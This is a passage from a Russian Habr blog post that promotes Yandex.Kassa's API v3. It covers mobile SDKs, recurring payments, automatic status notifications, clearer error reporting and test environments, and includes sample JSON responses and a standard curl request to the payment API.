"currency": "RUB"
},
"created_at": "2017-10-04T19:27:51.407Z",
"payment_id": "21746789-000f-50be-b000-0486ffbf45b0"
}
```
Красота.
### 4. Поддержка разных языков и технологий
Ещё у нового API есть [SDK для мобильных устройств](https://kassa.yandex.ru/integration-mobile/), PHP, Python и Node.js. Чем бы ни занимались ваши бэкенд-ребята (ну, кроме совсем уж экзотических случаев), платежи через Кассу подключаются быстро. Если человек активно пишет на Python дольше пары месяцев — он справится с интеграцией.
В прошлом году мы выпустили библиотеку для мобильных приложений на iOS и Android. С её помощью платёжные формы встраиваются в приложение и выглядят как его часть (и никаких WebView). Пользователи смогут оплатить заказ банковской картой, из кошелька в Яндекс.Деньгах, через Google Pay, Apple Pay или Сбербанк Онлайн.
Внедряется тоже просто — отдайте инструкцию вашему разработчику и скоро увидите, как стало прекрасно. Подробнее о том, как мобильный SDK увеличивает уровень счастья у вас и у пользователей ваших мобильных приложений, мы уже писали в нашем [хабраблоге](https://habr.com/ru/company/yamoney/blog/416871/).
### 5. Регулярные платежи без шаманства
Сразу после установки и настройки заработают платежи картой с предавторизацией средств — они встроены в API по умолчанию.
Рекуррентные платежи (и картой, и из кошелька) тоже есть: нужно согласовать их со службой безопасности, но так было и в старом протоколе. Если при рекуррентном платеже используется карта с обязательным 3D-Secure, то новый API сначала вернёт ссылку на него.
В общем, всё стало проще — здесь тоже не нужно выполнять длинные ритуалы с MWS, получением сертификатов и всеми остальными криптоужасами.
### 6. Автоматические уведомления о смене статуса платежа
Раньше приходилось вручную проверять статус каждого платежа, а теперь, если он изменился, разработчику автоматически упадёт уведомление.
В API v3 встроены четыре вида автоматических уведомлений о статусе платежей:
1. «Ожидает подтверждения мерчантом после оплаты»,
2. «Оплачен»,
3. «Отменён или произошла ошибка при платеже»,
4. «Платеж возвращен».
На старом протоколе для этого приходилось писать сложный MWS-метод listOrders, который показывал перечень и свойства заказов. 12 параметров, сложная логика отправки запроса и интригующая возможность получить ответ в формате CSV:
```
status=0;error=0;processedDT=2011-08-02T14:46:58.096+03:00;orderCount=2
shopId;shopName;articleId;articleName;invoiceId;orderNumber;paymentSystemOrderNumber;customerNumber;createdDatetime;paid;orderSumAmount;
orderSumCurrencyPaycash;orderSumBankPaycash;paidSumAmount;paidSumCurrencyPaycash;paidSumBankPaycash;receivedSumAmount;receivedSumCurrencyPaycash;
receivedSumBankPaycash;shopSumAmount;shopSumCurrencyPaycash;shopSumBankPaycash;paymentDatetime;paymentAuthorizationTime;payerCode;payerAddress;payeeCode;
paymentSystemDatetime;avisoReceivedDatetime;avisoStatus;paymentType;agentId;uniLabel;environment
1;"Ваш магазин";2;"Шапка-ушанка";2000024717776;"2011.08.02 09:07:32";483512879684006008;97881;2011-08-02T08:07:59.148+03:00;true;10.15;643;1003;10.15;643;
1003;10.15;643;1003;10.15;643;1003;2011-08-02T08:07:59.684+03:00;483512879684006008;41003476047679;192.168.1.127;41003131475668;2011-08-02T08:07:59.684+03:00;
2011-08-02T08:07:59.660+03:00;1000;AC;200002;1cd12967-0001-5000-8000-000000034fd8;Live
1;"Ваш магазин";2;"Шапка-ушанка";2000024717780;2000024717780;483512937773006008;770367;2011-08-02T08:08:57.175+03:00;true;10.00;643;1003;10.00;643;
1003;10.00;643;1003;10.00;643;1003;2011-08-02T08:08:57.773+03:00;483512937773006008;41003494819180;192.168.1.127;41003131475668;2011-08-02T08:08:57.773+03:00;
2011-08-02T08:08:57.730+03:00;1000;AC;200002;1cd129a4-0001-5000-8000-000000034fe1;Live
```
В новой версии так. Запрос:
```
curl https://payment.yandex.net/api/v3/payments/{payment_id} \ -u <Идентификатор магазина>:<Секретный ключ>
Ответ:
{
"id": "22312f66-000f-5100-8000-18db351245c7",
"status": "waiting_for_capture",
"paid": true,
"amount": {
"value": "2.00",
"currency": "RUB"
},
"created_at": "2018-07-18T10:51:18.139Z",
"description": "Заказ №72",
"expires_at": "2018-07-25T10:52:00.233Z",
"metadata": {},
"payment_method": {
"type": "bank_card",
"id": "22ebbf66-000f-5000-8000-18db351245c7",
"saved": false,
"card": {
"first6": "555555",
"last4": "4444",
"card_type": "MasterCard"
},
"title": "Bank card *4444"
},
"test": false
}
```
### 7. Сразу понятно, в какой момент возникла ошибка
Если платеж не прошел, то вместо «что-то пошло не так» новый API в явном виде даст понять, почему так вышло — например, на карте кончились деньги или пользователь хотел расплатиться через Сбербанк Онлайн, но он не подключен.
Изредка могут возникать кратковременные «что-то пошло не так» — мы, конечно, с ними боремся (лид-редактор Наташа в этом месте кивает мне и показывает большой палец), но предсказать различия в маппинге ошибок у разных банков или неожиданное поведение софта иногда невозможно. Даже нам.
В общем, если платёж отменен, то из ответа API сразу будет понятно, из-за чего:
```
{
"id": "22379b7b-000f-5000-9030-1a603a795739",
"status": "canceled",
"paid": false,
"amount": {
"value": "2.00",
"currency": "RUB"
},
"created_at": "2018-05-23T15:24:43.812Z",
"metadata": {},
"payment_method": {
"type": "bank_card",
"id": "22977a7b-000f-5000-9000-1a603a795129",
"saved": false
},
"recipient": {
"account_id": "100001",
"gateway_id": "1000001"
},
"test": false,
"cancellation_details": {
"party": "payment_network",
"reason": "payment_method_restricted"
}
}
```
### 8. Всё можно проверить, прежде чем начать
Чтобы получить тестовые ключи и посмотреть, как всё работает, нужно зарегистрироваться в личном кабинете Яндекс.Кассы — для этого нужны логин на Яндексе и ИНН компании. В анкете выберите самостоятельную регистрацию — через минуту будет создан тестовый контур и вы сможете проверить, как ходят платежи.
Когда мы еще не запустили эту возможность, было доступно [тестовое окружение](https://goo.gl/UTxiRc), в котором можно попробовать API v3 с помощью REST-клиента Insomnia. Там представлены примеры для оплаты банковской картой, при этом наглядно показано какой запрос отправляется, какой ответ возвращается и что происходит на всех этапах процесса обмена данными.
Для всех этапов интеграции и сопровождения у нас есть пошаговое руководство на [русском](https://kassa.yandex.ru/docs/guides/) и [английском](https://checkout.yandex.com/docs/guides/) языках, а ещё подробнейший [справочник по API](https://kassa.yandex.ru/docs/checkout-api/).
В общем, переходите на новый API, если ещё не, или [подключайтесь к Яндекс.Кассе](https://kassa.yandex.ru/joinups?utm_medium=article&utm_source=habr) — там всё уже готово к вашему визиту. | https://habr.com/ru/post/453174/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.